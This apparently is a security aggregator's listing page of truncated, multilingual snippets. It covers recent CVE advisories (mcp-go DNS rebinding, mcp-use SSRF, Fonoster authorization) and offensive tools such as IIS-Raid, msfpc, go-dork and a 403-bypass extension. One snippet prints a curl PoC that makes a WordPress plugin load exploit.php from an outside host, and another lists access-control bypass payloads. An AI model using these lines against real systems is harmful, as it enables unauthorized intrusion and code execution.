CVE-2026-81092 mcp-go before 0.56.0 Missing Host Header Validation Enables DNS Rebinding

mcp-go accepted requests on its HTTP transports without checking the Host header. StreamableHTTPServer.ServeHTTP in server/streamablehttp.go and SSEServer.ServeHTTP in server/sse.go served any request arriving over a loopback connection regardless of the host it named, and the SSE transport's...

EUVD-2026-67147

mcp-go accepted requests on its HTTP transports without checking the Host header. StreamableHTTPServer.ServeHTTP in server/streamablehttp.go and SSEServer.ServeHTTP in server/sse.go served any request arriving over a loopback connection regardless of the host it named, and the SSE transport's...

CVE-2026-81091

CVE-2026-81091 is a Server-Side Request Forgery (SSRF) in the proxy middleware of mcp-use's inspector . The vulnerable function mountMcpProxy (in libraries/typescript/packages/inspector/src/server/proxy/mcp-proxy.ts) read the target URL from the X-Target-URL header or __mcp_target parameter and f...

EUVD-2026-67146

The proxy middleware in mcp-use's inspector forwards requests to a destination the caller names. mountMcpProxy in libraries/typescript/packages/inspector/src/server/proxy/mcp-proxy.ts read the target from the X-Target-URL header or the mcptarget parameter and proxied to it without inspecting the...

CVE-2026-81091 mcp-use Inspector Proxy Server-Side Request Forgery via Caller-Supplied Target URL

The proxy middleware in mcp-use's inspector forwards requests to a destination the caller names. mountMcpProxy in libraries/typescript/packages/inspector/src/server/proxy/mcp-proxy.ts read the target from the X-Target-URL header or the mcptarget parameter and proxied to it without inspecting the...

EUVD-2026-67143

The updateWorkspace handler in mods/identity/src/workspaces/createUpdateWorkspace.ts in Fonoster through 0.22.7 invokes the gRPC callback with PERMISSIONDENIED when createIsWorkspaceMember reports that the caller is not a member of the target workspace, but it does not return. Execution continues...

CVE-2026-80209

Fonoster through version 0.22.7 contains an incorrect authorization flaw in the updateWorkspace handler (mods/identity/src/workspaces/createUpdateWorkspace.ts). The handler fires a gRPC PERMISSION_DENIED callback when the caller is not a workspace member but fails to return , allowing execution t...

CVE-2026-80209 Fonoster through 0.22.7 Incorrect Authorization in the Identity UpdateWorkspace Handler

The updateWorkspace handler in mods/identity/src/workspaces/createUpdateWorkspace.ts in Fonoster through 0.22.7 invokes the gRPC callback with PERMISSIONDENIED when createIsWorkspaceMember reports that the caller is not a member of the target workspace, but it does not return. Execution continues...

Azure-Networking-Privilege-Escalation-Exploit-CVE-2025-54914

Azure-Networking-権限昇格-エクスプロイト-CVE-2025-54914 Azure Networking 権限昇格エクスプロイト CVE‑2025‑54914 2025年9月4日 著者: Mark Mallia 1. エグゼクティブサマリー 2025年9月4日、MicrosoftのAzure Networkingサービスは、CVE‑2025‑54914 として指定された権限昇格の脆弱性を文書化した重大なセキュリティ勧告を受けました。この欠陥はCommon Vulnerability Scoring System...

john

John the Ripper This is the community-enhanced, "jumbo" version of John the Ripper. It has a lot of code, documentation, and data contributed by jumbo developers and the user community. It is easy for new code to be added to jumbo, and the quality requirements are low, although lately we've start...

CVE-2025-25257

Fortinet FortiWeb CVE-2025-25257 취약점 테스터 설명 이 PowerShell 스크립트는 공인된 침투 테스트 목적으로만 설계되었습니다. /api/fabric/device/status 엔드포인트의 인증되지 않은 SQL 인젝션 취약점인 Fortinet FortiWeb CVE-2025-25257을 테스트합니다. 이 스크립트는 다음과 같습니다: 테스트 환경을 위해 TLS 인증서 오류를 무시합니다. 단일 대상선택적 포트가 포함된 IP/DNS 또는 파일의 대상 목록을 허용합니다. 포트가 지정되지 않은 경우 일반...

CVE-2019-9978

CVE-2019-9978 - Social Warfare Wordpress 插件 RCE 无需任何预认证即可在 Social Warfare Wordpress 插件上实现 RCE 概念验证 root@kitploit: curl http://127.0.0.1/wp-admin/admin-post.php?rce=id&swpdebug=loadoptions&swpurl=http://172.18.0.1:1337/exploit.php 漏洞代码 ： 修复：...

wig

wig - WebApp Information Gatherer wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications. The application fingerprinting is based on checksums and string matching of known files for different versions of...

CVE-2020-5398

CVE-2020-5398 - Spring MVC용 RFDReflected File Download 공격 Spring Framework 5.2.x5.2.3 미만, 5.1.x5.1.13 미만, 5.0.x5.0.16 미만 버전에서 사용자 입력에서 파생된 filename 속성을 사용하여 응답에 'Content-Disposition' 헤더를 설정하는 애플리케이션은 RFD반영된 파일 다운로드 공격에 취약합니다. 사용 방법 1. root@kitploit: ./gradlew bootrun 127.0.0.1:8080에서 수신 대기. 2...

CVE-2020-5236

Waitress 1.4.2 ReDoS - CVE-2020-5236 Waitress 버전 1.4.2는 잘못된 문자가 포함된 헤더를 수신할 때 DoS 공격을 허용합니다. "Bad-header: xxxxxxxxxxxxxxx\x10"과 같은 헤더를 수신하면 정규 표현식 엔진이 치명적으로 역추적되어 프로세스가 CPU 시간을 100% 사용하게 되고 다른 모든 상호 작용이 차단됩니다. 이로 인해 공격자는 잘못된 헤더가 포함된 단일 요청을 전송하여 서비스를 오프라인으로 만들 수 있습니다. NVD 제공 사용 취약한 서버 실행...

IIS-Raid

IIS-Raid IIS-Raid — это нативный модуль IIS, который злоупотребляет расширяемостью IIS для создания бэкдора на веб-сервере и выполнения пользовательских действий, заданных атакующим. Документация После установки IIS-Raid обрабатывает каждый запрос и метод, проверяет наличие заголовка X-Password и...

BurpSuite_403Bypasser

403Bypasser 403制限ディレクトリをバイパスするためのBurpSuite拡張機能。PassiveScan（デフォルトで有効）を使用することで、403レスポンスのリクエストが自動的に スキャンされます。BurpSuiteに追加するだけで使えます。 ペイロード: $1: ホスト名 $2: パス root@kitploit: $1/$2 $1/%2e/$2 $1/$2/. $1//$2// $1/./$2/./ $1/$2anything -H "X-Original-URL: /$2" $1/$2 -H "X-Custom-IP-Authorization: 127.0.0.1"...

be-a-hacker

はじめに ハッキングとは、物事を意図しない方法で使う技術です。例えば、ソフトウェアのトライアル期間がもうすぐ切れる場合、コンピュータの日付を先週に変更することで延長できるかもしれません。それがハッキングです。 ハッキングは非常に広い用語であるため、学ぶための「唯一の正しい方法」はありません。そのため、このガイドの目的は、ロードマップではなく方向性を提供することです。 追加・改善すべきことがあれば、issueを作成してください。 目次 ハッキングの起源 基本原則 仕組みを理解する 共有はクール ロックスターにならない クールなことをやる ロードマップ 始めるにあたって...

go-dork

go-dork The fastest dork scanner written in Go. There are also various search engines supported by go-dork, including Google, Shodan, Bing, Duck, Yahoo and Ask. Install Usage Basic Usage Flags Querying Defining engine Pagination Adding custom headers Using proxy Chained with other tools Supportin...

msfpc

MSFvenom Payload Creator MSFPC A quick way to generate various "basic" Meterpreter payloads via msfvenom part of the Metasploit framework. About MSFvenom Payload Creator MSFPC is a wrapper to generate multiple types of payloads, based on users choice. The idea is to be as simple as possible only...